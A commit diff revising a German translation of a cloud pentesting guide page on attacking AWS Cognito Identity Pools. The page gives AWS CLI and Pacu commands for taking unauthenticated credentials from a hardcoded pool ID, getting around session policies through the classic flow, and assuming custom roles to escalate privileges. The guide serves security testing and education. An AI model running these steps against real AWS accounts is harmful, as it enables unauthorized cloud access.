Translated ['src/pentesting-cloud/aws-security/aws-services/aws-cognito-

This commit is contained in:
Translator
2025-08-18 14:14:53 +00:00
parent 4b00ce9aa8
commit 80f46685e9

View File

@@ -4,11 +4,11 @@
## Grundlegende Informationen
Identity Pools spielen eine entscheidende Rolle, indem sie es Ihren Benutzern ermöglichen, **temporäre Anmeldeinformationen** zu **erwerben**. Diese Anmeldeinformationen sind unerlässlich für den Zugriff auf verschiedene AWS-Dienste, einschließlich, aber nicht beschränkt auf Amazon S3 und DynamoDB. Ein bemerkenswertes Merkmal von Identity Pools ist die Unterstützung sowohl für anonyme Gastbenutzer als auch für eine Reihe von Identitätsanbietern zur Benutzerauthentifizierung. Die unterstützten Identitätsanbieter umfassen:
Identity Pools spielen eine entscheidende Rolle, indem sie es Ihren Benutzern ermöglichen, **temporäre Anmeldeinformationen** zu erwerben. Diese Anmeldeinformationen sind unerlässlich für den Zugriff auf verschiedene AWS-Dienste, einschließlich, aber nicht beschränkt auf Amazon S3 und DynamoDB. Ein bemerkenswertes Merkmal von Identity Pools ist die Unterstützung sowohl für anonyme Gastbenutzer als auch für eine Reihe von Identitätsanbietern zur Benutzerauthentifizierung. Die unterstützten Identitätsanbieter umfassen:
- Amazon Cognito Benutzerpools
- Amazon Cognito-Benutzerpools
- Soziale Anmeldeoptionen wie Facebook, Google, Login mit Amazon und Anmelden mit Apple
- Anbieter, die mit OpenID Connect (OIDC) konform sind
- Anbieter, die mit OpenID Connect (OIDC) kompatibel sind
- SAML (Security Assertion Markup Language) Identitätsanbieter
- Entwickler-authentifizierte Identitäten
```python
@@ -43,13 +43,13 @@ Darüber hinaus ist der Dienst **cognito-sync** der Dienst, der es ermöglicht,
### Tools für Pentesting
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), das AWS-Exploitation-Framework, umfasst jetzt die Module "cognito\_\_enum" und "cognito\_\_attack", die die Enumeration aller Cognito-Ressourcen in einem Konto automatisieren und schwache Konfigurationen, Benutzerattribute, die für die Zugriffskontrolle verwendet werden, usw. kennzeichnen, sowie die Benutzererstellung (einschließlich MFA-Unterstützung) und Privilegieneskalation basierend auf modifizierbaren benutzerdefinierten Attributen, verwendbaren Identity Pool-Anmeldeinformationen, übernehmbaren Rollen in ID-Token usw. automatisieren.
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), das AWS-Exploitation-Framework, enthält jetzt die Module "cognito\_\_enum" und "cognito\_\_attack", die die Enumeration aller Cognito-Ressourcen in einem Konto automatisieren und schwache Konfigurationen, Benutzerattribute, die für die Zugriffskontrolle verwendet werden, usw. kennzeichnen, sowie die Benutzererstellung automatisieren (einschließlich MFA-Unterstützung) und die Privilegieneskalation basierend auf modifizierbaren benutzerdefinierten Attributen, verwendbaren Identity Pool-Anmeldeinformationen, übernehmbaren Rollen in ID-Token usw.
Für eine Beschreibung der Funktionen der Module siehe Teil 2 des [Blogbeitrags](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Für Installationsanweisungen siehe die Hauptseite [Pacu](https://github.com/RhinoSecurityLabs/pacu).
#### Nutzung
Beispiel für die Nutzung von cognito\_\_attack, um die Benutzererstellung und alle Privilegieneskalationsvektoren gegen einen bestimmten Identity Pool und Benutzerpool-Client zu versuchen:
Beispiel für die Nutzung von cognito\_\_attack, um die Benutzererstellung und alle Privilegierungseskalationsvektoren gegen einen bestimmten Identity Pool und Benutzerpool-Client zu versuchen:
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
@@ -78,9 +78,9 @@ Für weitere Informationen siehe https://github.com/padok-team/cognito-scanner
Das einzige, was ein Angreifer wissen muss, um **AWS-Anmeldeinformationen** in einer Cognito-App als unauthentifizierter Benutzer zu **erhalten**, ist die **Identity Pool ID**, und diese **ID muss im Web-/Mobilanwendung** fest codiert sein, damit sie verwendet werden kann. Eine ID sieht so aus: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (sie ist nicht bruteforcebar).
> [!TIP]
> Die **IAM Cognito unauthentifizierte Rolle, die über erstellt wurde, heißt** standardmäßig `Cognito_<Identity Pool name>Unauth_Role`
> Die **IAM Cognito unauthentifizierte Rolle, die erstellt wurde, wird standardmäßig** `Cognito_<Identity Pool name>Unauth_Role` genannt.
Wenn Sie eine Identity Pools ID finden, die fest codiert ist und unauthentifizierte Benutzer zulässt, können Sie AWS-Anmeldeinformationen mit:
Wenn Sie eine Identity Pools ID finden, die fest codiert ist und unauthentifizierte Benutzer zulässt, können Sie mit Folgendem AWS-Anmeldeinformationen erhalten:
```python
import requests
@@ -118,7 +118,7 @@ aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --
Der vorherige Abschnitt folgte dem **standardmäßigen verbesserten Authentifizierungsfluss**. Dieser Fluss setzt eine **einschränkende** [**Sitzungsrichtlinie**](../../aws-basic-information/index.html#session-policies) für die generierte IAM-Rollen-Sitzung. Diese Richtlinie erlaubt es der Sitzung nur, [**die Dienste aus dieser Liste zu nutzen**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (auch wenn die Rolle Zugriff auf andere Dienste hatte).
Es gibt jedoch eine Möglichkeit, dies zu umgehen. Wenn der **Identitätspool den "Basis (Klassischen) Fluss" aktiviert hat**, kann der Benutzer eine Sitzung mit diesem Fluss erhalten, die **nicht über diese einschränkende Sitzungsrichtlinie verfügt**.
Es gibt jedoch eine Möglichkeit, dies zu umgehen. Wenn der **Identitätspool den "Basis (Klassisch) Fluss" aktiviert hat**, kann der Benutzer eine Sitzung mit diesem Fluss erhalten, die **nicht über diese einschränkende Sitzungsrichtlinie verfügt**.
```bash
# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
@@ -135,7 +135,7 @@ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<ro
> `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.`
Wenn Sie über ein Set von IAM-Anmeldeinformationen verfügen, sollten Sie [überprüfen, auf welchen Zugriff Sie haben](../../index.html#whoami) und versuchen, [Privilegien zu eskalieren](../../aws-privilege-escalation/index.html).
Wenn Sie über ein Set von IAM-Anmeldeinformationen verfügen, sollten Sie [überprüfen, auf welchen Zugriff Sie haben](../../index.html#whoami) und versuchen, [Berechtigungen zu eskalieren](../../aws-privilege-escalation/index.html).
### Authentifiziert
@@ -147,29 +147,43 @@ Es könnten auch **Rollen** für **authentifizierte Benutzer, die auf den Identi
Dafür müssen Sie möglicherweise Zugriff auf den **Identitätsanbieter** haben. Wenn das ein **Cognito User Pool** ist, können Sie möglicherweise das Standardverhalten ausnutzen und **selbst einen neuen Benutzer erstellen**.
> [!TIP]
> Die **IAM Cognito authentifizierte Rolle, die erstellt wird, heißt** standardmäßig `Cognito_<Identity Pool name>Auth_Role`
> Die **IAM Cognito authentifizierte Rolle, die über** erstellt wird, heißt standardmäßig `Cognito_<Identity Pool name>Auth_Role`
Jedenfalls erwartet das **folgende Beispiel**, dass Sie sich bereits in einem **Cognito User Pool** angemeldet haben, der verwendet wird, um auf den Identity Pool zuzugreifen (vergessen Sie nicht, dass auch andere Arten von Identitätsanbietern konfiguriert sein könnten).
Jedenfalls erwartet das **folgende Beispiel**, dass Sie sich bereits in einem **Cognito User Pool** angemeldet haben, der zum Zugriff auf den Identity Pool verwendet wird (vergessen Sie nicht, dass auch andere Arten von Identitätsanbietern konfiguriert sein könnten).
<pre class="language-bash"><code class="lang-bash">aws cognito-identity get-id \
<pre class="language-bash"><code class="lang-bash">
# Aktualisiertes Format
aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
--logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'
# Holen Sie sich die identity_id aus der vorherigen Befehlsantwort
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
--logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'
# Im IdToken finden Sie Rollen, auf die ein Benutzer aufgrund von Benutzerpoolgruppen Zugriff hat
# Verwenden Sie die --custom-role-arn, um Anmeldeinformationen für eine bestimmte Rolle zu erhalten
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
<strong> --custom-role-arn <role_arn> \
</strong> --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
--custom-role-arn <role_arn> \
--logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'
</code></pre>
> **Veraltetes Format** — diese funktionieren möglicherweise nicht mehr mit der aktuellen AWS CLI:
<pre class="language-bash"><code class="lang-bash">
aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--custom-role-arn <role_arn> \
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>
</code></pre>
> [!WARNING]
> Es ist möglich, **verschiedene IAM-Rollen zu konfigurieren, abhängig von dem Identitätsanbieter**, bei dem der Benutzer angemeldet ist, oder sogar nur abhängig **vom Benutzer** (unter Verwendung von Ansprüchen). Daher könnte es **lohnenswert sein, sich anzumelden und auf die IAM-Rollen von allen zuzugreifen**.
> Es ist möglich, **verschiedene IAM-Rollen je nach Identitätsanbieter** zu konfigurieren, bei dem der Benutzer angemeldet ist, oder sogar nur abhängig **vom Benutzer** (unter Verwendung von Ansprüchen). Daher könnte es **lohnenswert sein, sich anzumelden und auf die IAM-Rollen aller von ihnen zuzugreifen**, wenn Sie Zugriff auf verschiedene Benutzer über denselben oder verschiedene Anbieter haben.
{{#include ../../../../banners/hacktricks-training.md}}